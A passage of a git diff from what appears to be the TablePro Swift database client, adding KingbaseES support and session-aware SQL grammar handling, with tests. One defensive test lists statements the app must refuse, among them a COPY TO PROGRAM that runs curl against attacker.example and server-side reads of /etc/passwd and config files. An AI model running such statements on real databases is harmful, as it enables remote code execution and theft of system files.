index 26bd85e841..232fbda1ea 100644
--- a/apple/TablePro/Models/Schema/IndexKeyDialect.swift
+++ b/apple/TablePro/Models/Schema/IndexKeyDialect.swift
@@ -17,7 +17,7 @@ struct IndexKeyDialect: Equatable, Sendable {
             return IndexKeyDialect(takesPrefixLengths: true, takesExpressions: true)
         case .mariadb, .tidb, .oceanbase:
             return IndexKeyDialect(takesPrefixLengths: true, takesExpressions: false)
-        case .postgresql, .pglite, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb:
+        case .postgresql, .pglite, .kingbasees, .sqlite, .libsql, .turso, .cloudflareD1, .duckdb:
             return IndexKeyDialect(takesPrefixLengths: false, takesExpressions: true)
         default:
             return .columnsOnly
diff --git a/apple/TablePro/Resources/Localizable.xcstrings b/apple/TablePro/Resources/Localizable.xcstrings
index 422eaccc99..84ff17bec7 100644
--- a/apple/TablePro/Resources/Localizable.xcstrings
+++ b/apple/TablePro/Resources/Localizable.xcstrings
@@ -5781,6 +5781,12 @@
           }
         }
       }
+    },
+    "%@ runs in a compatibility mode with column types of its own, so structures can be compared but no script is generated." : {
+
+    },
+    "%@ runs in a compatibility mode with column types of its own. Copy to a target of the same type in the same mode." : {
+
     },
     "%@ s" : {
       "extractionState" : "stale",
@@ -99202,6 +99208,10 @@
         }
       }
     },
+    "KingbaseES in %@ mode is not supported. Connect to a server in PostgreSQL or Oracle mode." : {
+      "extractionState" : "manual",
+      "generatesSymbol" : false
+    },
     "kubectl port-forward" : {
       "localizations" : {
         "fr" : {
@@ -134493,6 +134503,9 @@
           }
         }
       }
+    },
+    "PostgreSQL and Oracle compatible SQL" : {
+
     },
     "PostgreSQL custom archive" : {
       "localizations" : {
@@ -135053,6 +135066,9 @@
           }
         }
       }
+    },
+    "Preferred tries TLS first, falls back to plain." : {
+
     },
     "Preferred tries TLS first, falls back to plain. Matches psql and DataGrip defaults. Required by AWS RDS, Cloud SQL, Heroku, Supabase, Neon." : {
       "localizations" : {
diff --git a/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift b/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift
index 9c3f184a7e..64cb3d6702 100644
--- a/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift
+++ b/apple/TablePro/ViewModels/AIChatViewModel+SchemaContext.swift
@@ -248,7 +248,7 @@ extension AIChatViewModel {
         else { return [] }
         return AISchemaContext.referencedTables(
             in: AISchemaContext.carriedQuery(query),
-            grammar: connection.type.lexicalGrammar
+            grammar: SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id)
         )
     }
 
diff --git a/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift b/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift
index 20175e5be0..cf80d17f2f 100644
--- a/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift
+++ b/apple/TablePro/Views/Editor/Folding/FoldProviderResolver.swift
@@ -18,10 +18,12 @@ import TableProSQLGrammar
 enum FoldProviderResolver {
     /// The provider for a connection, which knows both the language and the SQL dialect.
     static func provider(for databaseType: DatabaseType) -> LineFoldProvider? {
-        provider(
-            for: PluginManager.shared.editorLanguage(for: databaseType),
-            grammar: databaseType.lexicalGrammar
-        )
+        provider(for: databaseType, grammar: databaseType.lexicalGrammar)
+    }
+
+    /// The same, reading the grammar the connection's session lexes with.
+    static func provider(for databaseType: DatabaseType, grammar: SQLLexicalGrammar) -> LineFoldProvider? {
+        provider(for: PluginManager.shared.editorLanguage(for: databaseType), grammar: grammar)
     }
 
     /// The provider for a listing whose language is known but whose dialect is not, such as a fenced code block.
diff --git a/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift b/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift
index cc1e7add05..ac96f70436 100644
--- a/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift
+++ b/apple/TablePro/Views/Editor/QueryCompletionAdapter.swift
@@ -3,6 +3,7 @@ import SwiftUI
 import TableProAutocomplete
 import TableProEditorKit
 import TableProPluginKit
+import TableProSQLGrammar
 import TableProTextEngine
 
 @MainActor
@@ -41,6 +42,7 @@ final class QueryCompletionAdapter: CodeSuggestionDelegate {
         let databaseType: DatabaseType?
         let profileRevision: String?
         let connectionId: UUID?
+        let grammar: SQLLexicalGrammar?
     }
 
     private var service: QueryCompletionService
@@ -60,13 +62,15 @@ final class QueryCompletionAdapter: CodeSuggestionDelegate {
         schemaProvider: SQLSchemaProvider?,
         databaseType: DatabaseType?,
         profile: QueryCompletionProfile? = nil,
-        connectionId: UUID? = nil
+        connectionId: UUID? = nil,
+        grammar: SQLLexicalGrammar? = nil
     ) {
         let requested = Configuration(
             schemaProvider: schemaProvider.map(ObjectIdentifier.init),
             databaseType: databaseType,
             profileRevision: profile?.revision,
-            connectionId: connectionId
+            connectionId: connectionId,
+            grammar: grammar
         )
         guard requested != configuration else { return }
         configuration = requested
@@ -74,7 +78,8 @@ final class QueryCompletionAdapter: CodeSuggestionDelegate {
             schemaProvider: schemaProvider,
             databaseType: databaseType,
             profile: profile,
-            connectionId: connectionId
+            connectionId: connectionId,
+            grammar: grammar
         )
         service.updateFavoriteKeywords(favoriteKeywords)
         session = nil
diff --git a/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift b/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift
index a8bc35f755..094e3d4ce7 100644
--- a/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift
+++ b/apple/TablePro/Views/Editor/QueryDiagnosticsController.swift
@@ -9,6 +9,7 @@
 import AppKit
 import os
 import TableProEditorKit
+import TableProSQLGrammar
 import TableProTextEngine
 
 @MainActor
@@ -32,8 +33,8 @@ final class QueryDiagnosticsController {
         self.clock = clock
     }
 
-    func configure(databaseType: DatabaseType?) {
-        producer = QueryDiagnosticsFactory.make(for: databaseType)
+    func configure(databaseType: DatabaseType?, grammar: SQLLexicalGrammar? = nil) {
+        producer = QueryDiagnosticsFactory.make(for: databaseType, grammar: grammar)
         diagnostics = []
     }
 
diff --git a/apple/TablePro/Views/Editor/SQLEditorController.swift b/apple/TablePro/Views/Editor/SQLEditorController.swift
index 0d0d766a44..1b218c27bc 100644
--- a/apple/TablePro/Views/Editor/SQLEditorController.swift
+++ b/apple/TablePro/Views/Editor/SQLEditorController.swift
@@ -9,6 +9,7 @@ import SwiftUI
 import TableProEditorKit
 import TableProGrammars
 import TableProPluginKit
+import TableProSQLGrammar
 import TableProTextEngine
 
 /// What a query tab hands the SQL editor on every update.
@@ -63,6 +64,11 @@ final class SQLEditorController {
     private var pendingCaret: [CursorPosition]?
     private var cancellables: Set<AnyCancellable> = []
     private var isTornDown = false
+    // One instance, because `SourceEditor` keeps the provider it was created with and a new grammar has to reach it.
+    private lazy var foldProvider: LineFoldProvider? = FoldProviderResolver.provider(
+        for: input.databaseType ?? .mysql,
+        grammar: coordinator.lexicalGrammar
+    )
 
     var textViewController: TextViewController {
         guard let host else { preconditionFailure("SQLEditorController used before init finished") }
@@ -84,6 +90,7 @@ final class SQLEditorController {
 
         observeEditorSettings()
         observeVimMode()
+        observeSessionChanges()
         configureCompletion()
         setupFavoritesObserver()
         subscribeToCompletionRevision()
@@ -160,6 +167,36 @@ final class SQLEditorController {
         if let restoredFoldRanges = input.restoredFoldRanges {
             coordinator.scheduleFoldRestore(restoredFoldRanges)
         }
+        // Also on every run's start and end, which is when a `SET` can have changed a session flag.
+        refreshSessionGrammar()
+    }
+
+    /// The grammar the session lexes with: KingbaseES in Oracle mode, MySQL under `NO_BACKSLASH_ESCAPES`, or
+    /// PostgreSQL with `standard_conforming_strings` off each split text differently from the engine's default.
+    private func refreshSessionGrammar() {
+        guard let databaseType = input.databaseType else { return }
+        let grammar: SQLLexicalGrammar
+        if let scope = input.databaseScope {
+            grammar = SQLLexicalResolver.executionGrammar(for: databaseType, scope: scope)
+        } else if let connectionId = input.connectionId {
+            grammar = SQLLexicalResolver.executionGrammar(for: databaseType, connectionId: connectionId)
+        } else {
+            grammar = databaseType.lexicalGrammar
+        }
+        guard grammar != coordinator.sessionGrammar else { return }
+        coordinator.setSessionGrammar(grammar)
+        (foldProvider as? SQLLineFoldProvider)?.grammar = grammar
+        configureCompletion()
+    }
+
+    private func observeSessionChanges() {
+        AppEvents.shared.connectionStatusChanged
+            .receive(on: RunLoop.main)
+            .sink { [weak self] change in
+                guard let self, !self.isTornDown, change.connectionId == self.input.connectionId else { return }
+                self.refreshSessionGrammar()
+            }
+            .store(in: &cancellables)
     }
 
     private func makeEditor(state: Binding<SourceEditorState>) -> SourceEditor {
@@ -176,7 +213,7 @@ final class SQLEditorController {
             language: PluginManager.shared.editorLanguage(for: databaseType).treeSitterLanguage,
             configuration: configuration,
             state: state,
-            foldProvider: FoldProviderResolver.provider(for: databaseType),
+            foldProvider: foldProvider,
             coordinators: [coordinator],
             completionDelegate: completionAdapter
         )
@@ -273,7 +310,8 @@ final class SQLEditorController {
             schemaProvider: input.schemaProvider,
             databaseType: input.databaseType,
             profile: completionProfile,
-            connectionId: input.connectionId
+            connectionId: input.connectionId,
+            grammar: coordinator.sessionGrammar
         )
     }
 
diff --git a/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift b/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift
index 52d59a7a87..64b6516e21 100644
--- a/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift
+++ b/apple/TablePro/Views/Editor/SQLEditorCoordinator+InvisibleCharacters.swift
@@ -13,12 +13,11 @@ extension SQLEditorCoordinator {
         guard let controller, let textView = controller.textView, textView.isEditable else { return }
         let string = textView.string
         let scope = FormatScopeResolver.resolve(fullText: string, selectedRange: textView.selectedRange())
-        let resolvedType = databaseType ?? .mysql
         let replacements = InvisibleCharacterRemover.replacements(
             in: string as NSString,
             scope: scope.range,
             skippingLiteralsAndComments: !scope.isSelection,
-            grammar: resolvedType.lexicalGrammar,
+            grammar: lexicalGrammar,
             lineEnding: textView.layoutManager.detectedLineEnding.rawValue
         )
         guard !replacements.isEmpty else { return }
diff --git a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift
index 460f472702..61f0e35e5a 100644
--- a/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift
+++ b/apple/TablePro/Views/Editor/SQLEditorCoordinator.swift
@@ -131,6 +131,12 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie
     var tabID: UUID?
     var connectionId: UUID?
     var sourceFileURL: URL?
+    /// The connection's execution grammar, which `SQLEditorController` sets from the live session.
+    private(set) var sessionGrammar: SQLLexicalGrammar?
+
+    var lexicalGrammar: SQLLexicalGrammar {
+        sessionGrammar ?? (databaseType ?? .mysql).lexicalGrammar
+    }
 
     /// Whether the editor text view is currently the first responder.
     /// Used to guard cursor propagation — when the find panel highlights
@@ -191,7 +197,7 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie
         installFoldPreview(controller: controller)
         installStatementRunControls(controller: controller)
         installInlineSuggestionManager(controller: controller)
-        diagnosticsController.configure(databaseType: databaseType)
+        diagnosticsController.configure(databaseType: databaseType, grammar: lexicalGrammar)
         diagnosticsController.install(on: controller)
         diagnosticsController.scheduleRefresh(for: controller)
         applyKeyBindings(controller: controller)
@@ -362,7 +368,7 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie
     }
 
     private func installStatementRunControls(controller: TextViewController) {
-        statementRunController.grammar = (databaseType ?? .mysql).lexicalGrammar
+        statementRunController.grammar = lexicalGrammar
         statementRunController.statementModel = QueryStatementModel.forDatabaseType(databaseType ?? .mysql)
         statementRunController.isHighlightEnabled = AppSettingsManager.shared.editor.highlightCurrentStatement
         statementRunController.onRun = { [weak self] sql, offset in
@@ -371,6 +377,21 @@ final class SQLEditorCoordinator: ObservableObject, TextViewCoordinator, TextVie
         statementRunController.install(on: controller)
     }
 
+    /// Moves the run controls and diagnostics to `grammar`, as a connect, a reconnect or a `SET` changes it.
+    func setSessionGrammar(_ grammar: SQLLexicalGrammar) {
+        guard grammar != sessionGrammar else { return }
+        sessionGrammar = grammar
+        guard hasInstalledEditorServices, !isDestroyed, let controller else { return }
+        statementRunController.grammar = grammar
+        statementRunController.refreshControls(in: controller)
+        statementRunController.refreshHighlight(in: controller)
+        diagnosticsController.configure(databaseType: databaseType, grammar: grammar)
+        refreshDiagnostics(
+            in: controller,
+            isLargeDocument: controller.textView.textStorage.length > Self.languageServiceLengthLimit
+        )
+    }
+
     /// Turns the run controls off for the length of a query, because a tab runs one at a time.
     func setStatementRunControlsEnabled(_ isEnabled: Bool) {
         statementRunController.setEnabled(isEnabled, in: controller)
diff --git a/apple/TablePro/Views/Import/ImportDialog.swift b/apple/TablePro/Views/Import/ImportDialog.swift
index dc8ad9a6af..7763ff9013 100644
--- a/apple/TablePro/Views/Import/ImportDialog.swift
+++ b/apple/TablePro/Views/Import/ImportDialog.swift
@@ -443,7 +443,7 @@ struct ImportDialog: View {
                 forPreview: previewData,
                 isWholeFile: previewData.count < maxPreviewSize,
                 family: TransactionEngineFamily.of(connection.type),
-                grammar: connection.type.lexicalGrammar
+                grammar: sessionGrammar
             ) {
                 Self.logger.info("Preview did not decode as \(selectedEncoding.rawValue, privacy: .public); switching to the detected \(detected.rawValue, privacy: .public)")
                 detectedEncoding = detected
@@ -464,6 +464,12 @@ struct ImportDialog: View {
         }
     }
 
+    /// What the import itself splits with, so the count and the detected encoding match the run.
+    @MainActor
+    private var sessionGrammar: SQLLexicalGrammar {
+        SQLLexicalResolver.executionGrammar(for: connection.type, connectionId: connection.id)
+    }
+
     @MainActor
     private func countStatements(url: URL) async {
         isCountingStatements = true
@@ -471,7 +477,7 @@ struct ImportDialog: View {
 
         do {
             let encoding = selectedEncoding.encoding
-            let grammar = connection.type.lexicalGrammar
+            let grammar = sessionGrammar
             let parser = SQLFileParser()
             let count = try await Task.detached {
                 try await parser.countStatements(url: url, encoding: encoding, grammar: grammar)
diff --git a/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift b/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift
index d89527b5ae..1ee644392c 100644
--- a/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift
+++ b/apple/TableProMobile/TableProMobile/Services/IOSConnectionImportService.swift
@@ -9,7 +9,7 @@ enum IOSConnectionImportService {
     // Mac plugin type ids with no DatabaseType constant.
     static let recognizedTypeIds: Set<String> = Set(
         (DatabaseType.allKnownTypes + [.cockroachdb, .scylladb, .turso]).map(\.rawValue)
-    ).union(["SAP HANA", "Elasticsearch", "Typesense", "PGlite", "Presto"])
+    ).union(["SAP HANA", "Elasticsearch", "Typesense", "PGlite", "Presto", "KingbaseES"])
 
     static func environment(for appState: AppState) -> ImportEnvironment {
         ImportEnvironment(
diff --git a/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift b/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift
index eb1fe3b32b..8e50943f94 100644
--- a/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift
+++ b/apple/TableProMobile/TableProMobileTests/MacOnlyImportRowTests.swift
@@ -39,7 +39,9 @@ struct MacOnlyImportRowTests {
         ImportSelection.defaults(for: preview).resolution(for: row.ref) != nil
     }
 
-    @Test("A Mac plugin type is recognized, preselected and marked Mac only", arguments: ["Elasticsearch", "SAP HANA", "Typesense", "PGlite", "Presto"])
+    @Test("A Mac plugin type is recognized, preselected and marked Mac only", arguments: [
+        "Elasticsearch", "SAP HANA", "Typesense", "PGlite", "Presto", "KingbaseES",
+    ])
     func macPluginTypeIsMarked(_ typeId: String) throws {
         let preview = try analyzed(type: typeId)
         let row = try #require(preview.connections.first)
diff --git a/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift b/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift
index 3df470a03e..49c4676102 100644
--- a/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift
+++ b/apple/TableProTests/Core/Compare/CompareSQLLiteralTests.swift
@@ -48,7 +48,7 @@ struct CompareSQLLiteralTests {
 
     @Test
     func postgresFamilyUsesAByteaCast() throws {
-        for type in [DatabaseType.postgresql, .cockroachdb, .redshift, .pglite] {
+        for type in [DatabaseType.postgresql, .cockroachdb, .redshift, .pglite, .kingbasees] {
             let literal = try #require(CompareSQLLiteral.binaryLiteral(for: png, databaseType: type))
             #expect(literal == "'\\x89504e47'::bytea", "\(type.rawValue) uses a bytea literal")
         }
diff --git a/apple/TableProTests/Core/Compare/CompareSyncSessionFamilyTests.swift b/apple/TableProTests/Core/Compare/CompareSyncSessionFamilyTests.swift
new file mode 100644
index 0000000000..0ab6f306dc
--- /dev/null
+++ b/apple/TableProTests/Core/Compare/CompareSyncSessionFamilyTests.swift
@@ -0,0 +1,42 @@
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+struct CompareSyncSessionFamilyTests {
+    private static let oracleMode = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: [.plsqlBlocks])
+    private static let pgMode = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: [])
+
+    @Test
+    func kingbaseESSyncsStructureWithPostgreSQLInPostgreSQLMode() {
+        #expect(CompareSyncEngineFamily.canGenerateStructureScript(
+            from: .postgresql, to: .kingbasees, sourceSession: nil, targetSession: Self.pgMode
+        ))
+        #expect(CompareSyncEngineFamily.canGenerateStructureScript(
+            from: .kingbasees, to: .postgresql, sourceSession: Self.pgMode, targetSession: nil
+        ))
+    }
+
+    @Test
+    func anOracleModeServerSyncsStructureOnlyWithAnotherOne() {
+        #expect(!CompareSyncEngineFamily.canGenerateStructureScript(
+            from: .postgresql, to: .kingbasees, sourceSession: nil, targetSession: Self.oracleMode
+        ))
+        #expect(!CompareSyncEngineFamily.canGenerateStructureScript(
+            from: .kingbasees, to: .kingbasees, sourceSession: Self.pgMode, targetSession: Self.oracleMode
+        ))
+        #expect(CompareSyncEngineFamily.canGenerateStructureScript(
+            from: .kingbasees, to: .kingbasees, sourceSession: Self.oracleMode, targetSession: Self.oracleMode
+        ))
+        let refusal = CompareSyncEngineFamily.structureScriptRefusal(
+            from: .postgresql, to: .kingbasees, sourceSession: nil, targetSession: Self.oracleMode
+        )
+        #expect(refusal.contains("compatibility mode"))
+    }
+
+    @Test
+    func postgreSQLStaysUnpairedWithItsOtherVariants() {
+        #expect(!CompareSyncEngineFamily.canGenerateStructureScript(from: .postgresql, to: .cockroachdb))
+        #expect(!CompareSyncEngineFamily.canGenerateStructureScript(from: .postgresql, to: .pglite))
+    }
+}
diff --git a/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift b/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift
index 8a04459f24..cd3ae7a589 100644
--- a/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift
+++ b/apple/TableProTests/Core/CrossEngine/CrossEngineIndexTypeTests.swift
@@ -79,6 +79,13 @@ struct CrossEngineIndexTypeTests {
         #expect(index.ddlMethodAndKeys == "USING hnsw (a vector_l2_ops)")
     }
 
+    @Test("KingbaseES reports its access method from pg_am, so a PostgreSQL copy keeps it")
+    func kingbaseAccessMethodSurvives() {
+        let bloom = Self.index("items_bloom", type: "bloom").type
+        #expect(CrossEngineIndexTranslator.resolvedType(bloom, from: .kingbasees, to: .postgresql) == bloom)
+        #expect(CrossEngineIndexTranslator.resolvedType(bloom, from: .mssql, to: .postgresql) == .btree)
+    }
+
     @Test("A Redshift DISTKEY and SORTKEY are left out of a PostgreSQL copy, though the two share a family")
     func redshiftKeysAreLeftOut() {
         let result = CrossEngineStructureTranslator.translate(
diff --git a/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift b/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift
index c5cda01873..52592591f0 100644
--- a/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift
+++ b/apple/TableProTests/Core/DataWrite/DataWriteExecutorTests.swift
@@ -181,6 +181,18 @@ struct DataWriteExecutorTests {
         #expect(counting.didRollBack)
     }
 
+    @Test("A KingbaseES keyless write that found no row is rolled back, as libpq reports a real count")
+    func kingbaseKeylessWriteThatMatchedNothingFails() async throws {
+        let counting = CountingDriver(affectedRows: 0)
+        await #expect(throws: DataWriteError.rowsNoLongerMatch(table: "t", expected: 1, actual: 0)) {
+            try await DataWriteExecutor.run(
+                plan(expectedRowCount: 1, matchesRowsWithoutKey: true, databaseType: .kingbasees),
+                on: driver(counting)
+            )
+        }
+        #expect(counting.didRollBack)
+    }
+
     @Test("An engine whose driver reports no real count is not held to one")
     func keylessWriteOnAnEngineWithoutCountsSucceeds() async throws {
         let counting = CountingDriver(affectedRows: 0)
diff --git a/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift b/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift
index 6a93d5068f..7f37204287 100644
--- a/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift
+++ b/apple/TableProTests/Core/DataWrite/RowChangeStatementFactoryServerOwnedTests.swift
@@ -203,9 +203,9 @@ struct RowChangeStatementFactoryServerOwnedTests {
         #expect(!sql.contains("Doubled"))
     }
 
-    @Test
-    func aPostgreSQLRestoreOverridesTheSystemValue() throws {
-        let restored = try factory(databaseType: .postgresql, schemaName: "sales").restoreStatements(
+    @Test(arguments: [DatabaseType.postgresql, .pglite, .kingbasees])
+    func aPostgreSQLRestoreOverridesTheSystemValue(databaseType: DatabaseType) throws {
+        let restored = try factory(databaseType: databaseType, schemaName: "sales").restoreStatements(
             rows: [["5", "a", "10"]]
         )
         #expect(restored.prologue.isEmpty)
diff --git a/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift b/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift
index 34d93a9709..2f7b8a90dd 100644
--- a/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift
+++ b/apple/TableProTests/Core/Database/DatabaseAccessBridgeStatementTests.swift
@@ -47,6 +47,29 @@ struct DatabaseAccessBridgeStatementTests {
         #expect(QueryClassifier.classifyTier(sent, databaseType: .postgresql) == .safe)
     }
 
+    @Test(
+        "An external statement on a KingbaseES Oracle-mode session keeps the ; after its END",
+        arguments: ["BEGIN x := 1; y := 2; END;", "BEGIN x := 1; y := 2; END;\n/\n"]
+    )
+    @MainActor
+    func oracleModeBlockKeepsItsTerminator(sql: String) async throws {
+        let driver = ScriptAnsweringDriver(
+            connection: TestFixtures.makeConnection(database: "app", type: .kingbasees),
+            sessionLexicalState: TestGrammar.kingbaseESOracleSession
+        )
+        var session = ConnectionSession(connection: driver.connection)
+        session.driver = driver
+        DatabaseManager.shared.injectSession(session, for: driver.connection.id)
+        defer { DatabaseManager.shared.removeSession(for: driver.connection.id) }
+        let scope = DatabaseScope(connectionId: driver.connection.id, database: "app", schema: nil)
+
+        _ = try await DatabaseAccessBridge().runStatement(
+            scope: scope, query: sql, maxRows: 10, timeoutSeconds: 30, cancellation: nil
+        )
+
+        #expect(driver.sentStatements == ["BEGIN x := 1; y := 2; END;"])
+    }
+
     @Test("An explain behind an invisible character is not wrapped in a second explain")
     func explainBehindInvisibleCharacterIsNotWrapped() throws {
         let statement = try MCPConnectionBridge.explainStatement(
diff --git a/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift b/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift
index 10a2ebd9d0..4265622d87 100644
--- a/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift
+++ b/apple/TableProTests/Core/Database/FilterSQLGeneratorColumnTypeTests.swift
@@ -442,6 +442,40 @@ struct FilterSQLGeneratorColumnTypeTests {
         #expect(postgres?.contains("'%a[bc]%'") == true)
     }
 
+    // '' is NULL on Oracle and on KingbaseES in Oracle mode, so `v != ''` found no row there. Measured on Oracle 23ai,
+    // KingbaseES V9R1C10 in both modes and PostgreSQL 18: the length form returns what `= ''` returns on PostgreSQL.
+    @Test(
+        "Is empty and is not empty test the length where '' can read as NULL",
+        arguments: [DatabaseType.kingbasees, .oracle]
+    )
+    func emptyFiltersTestTheLength(databaseType: DatabaseType) {
+        let text = ColumnType.text(rawType: "text")
+        let empty = Self.engineCondition(databaseType, type: text, op: .isEmpty, value: "", dialect: Self.postgresqlDialect)
+        let notEmpty = Self.engineCondition(
+            databaseType, type: text, op: .isNotEmpty, value: "", dialect: Self.postgresqlDialect
+        )
+        #expect(empty == "(\"v\" IS NULL OR LENGTH(\"v\") = 0)")
+        #expect(notEmpty == "(\"v\" IS NOT NULL AND LENGTH(\"v\") > 0)")
+    }
+
+    @Test("The length form measures the text cast of a column of unknown type, and PostgreSQL and MySQL keep = ''")
+    func emptyFiltersElsewhere() {
+        let cast = Self.engineCondition(.kingbasees, type: nil, op: .isNotEmpty, value: "", dialect: Self.castingPostgres)
+        let mysql = Self.engineCondition(
+            .mysql, type: .text(rawType: "VARCHAR"), op: .isNotEmpty, value: "", dialect: Self.mysqlDialect
+        )
+        let integer = Self.engineCondition(
+            .kingbasees, type: .integer(rawType: "integer"), op: .isNotEmpty, value: "", dialect: Self.postgresqlDialect
+        )
+        let postgreSQL = Self.engineCondition(
+            .postgresql, type: .text(rawType: "text"), op: .isNotEmpty, value: "", dialect: Self.postgresqlDialect
+        )
+        #expect(cast == "(\"v\" IS NOT NULL AND LENGTH(CAST(\"v\" AS TEXT)) > 0)")
+        #expect(mysql == "(`v` IS NOT NULL AND `v` != '')")
+        #expect(postgreSQL == "(\"v\" IS NOT NULL AND \"v\" != '')")
+        #expect(integer == "\"v\" IS NOT NULL")
+    }
+
     @Test("A PostgreSQL bit read as a string of digits compares quoted")
     func postgresBitIsQuoted() {
         let type = ColumnTypeClassifier(family: .postgres).classify(rawTypeName: "bit")
diff --git a/apple/TableProTests/Core/Database/StartupStatementsTests.swift b/apple/TableProTests/Core/Database/StartupStatementsTests.swift
index 503c3a3f1c..5f26c1f07c 100644
--- a/apple/TableProTests/Core/Database/StartupStatementsTests.swift
+++ b/apple/TableProTests/Core/Database/StartupStatementsTests.swift
@@ -38,6 +38,14 @@ struct StartupStatementsTests {
         #expect(statements == ["SET marker \"a; FLUSHALL; b\"", "CLIENT SETNAME 'line\nbreak'"])
     }
 
+    @Test("A startup block on a KingbaseES Oracle-mode session runs whole")
+    func oracleModeBlockRunsWhole() {
+        let block = "BEGIN dbms_session.set_identifier('x'); END;"
+        #expect(DatabaseManager.startupStatements(
+            from: block, databaseType: .kingbasees, grammar: TestGrammar.kingbaseESOracle
+        ) == [block])
+    }
+
     @Test("Blank text holds no startup statement")
     func blank() {
         #expect(DatabaseManager.startupStatements(from: " \n ; ", databaseType: .postgresql).isEmpty)
diff --git a/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift b/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift
index 262e470279..3bcb48a356 100644
--- a/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift
+++ b/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift
@@ -76,7 +76,9 @@ struct ExternalStatementGateTests {
     @Test("A statement that reaches the filesystem or runs server code is refused", arguments: [
         "COPY users FROM '/etc/passwd'",
         "COPY users TO PROGRAM 'curl attacker.example'",
-        "SELECT pg_read_file('/etc/passwd')"
+        "SELECT pg_read_file('/etc/passwd')",
+        "SELECT sys_read_file('kingbase.conf')",
+        "SELECT * FROM sys_ls_dir('.')"
     ])
     func filesystemAndCodeRefused(sql: String) {
         #expect(refusal(statement(sql)) == .denied(
@@ -182,6 +184,8 @@ struct ExternalStatementGateTests {
             ("SELECT pg_cancel_backend(123)", DatabaseType.postgresql),
             ("SELECT pg_terminate_backend(123)", DatabaseType.redshift),
             ("SELECT pg_cancel_backend(123)", DatabaseType.cockroachdb),
+            ("SELECT sys_terminate_backend(123)", DatabaseType.kingbasees),
+            ("SELECT sys_reload_conf()", DatabaseType.kingbasees),
             ("SELECT query_to_xml('SELECT pg_terminate_backend(123)', true, false, '')", DatabaseType.postgresql),
             ("EXPLAIN ANALYSE SELECT pg_terminate_backend(123)", DatabaseType.postgresql),
             ("KILL 123", DatabaseType.mysql),
diff --git a/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift b/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift
index 377c2c42be..c96879b303 100644
--- a/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift
+++ b/apple/TableProTests/Core/ObjectCopy/ObjectCopyEligibilityTests.swift
@@ -90,6 +90,41 @@ struct ObjectCopyEligibilityTests {
         #expect(ObjectCopyEligibility.definitionEngineRefusal(from: .postgresql, to: .postgresql) == nil)
     }
 
+    private static let oracleModeSession = PluginSessionLexicalState(
+        determined: [.plsqlBlocks, .alternativeQuoting], enabled: [.plsqlBlocks, .alternativeQuoting]
+    )
+    private static let pgModeSession = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: [])
+
+    @Test
+    func kingbaseESCopiesWithPostgreSQLOnlyInPostgreSQLMode() {
+        #expect(ObjectCopyEligibility.engineRefusal(
+            from: .postgresql, to: .kingbasees, sourceLanguage: .sql, targetLanguage: .sql,
+            sourceSession: nil, targetSession: Self.pgModeSession
+        ) == nil)
+        #expect(ObjectCopyEligibility.definitionEngineRefusal(
+            from: .kingbasees, to: .postgresql, sourceSession: Self.pgModeSession, targetSession: nil
+        ) == nil)
+        #expect(ObjectCopyEligibility.engineRefusal(
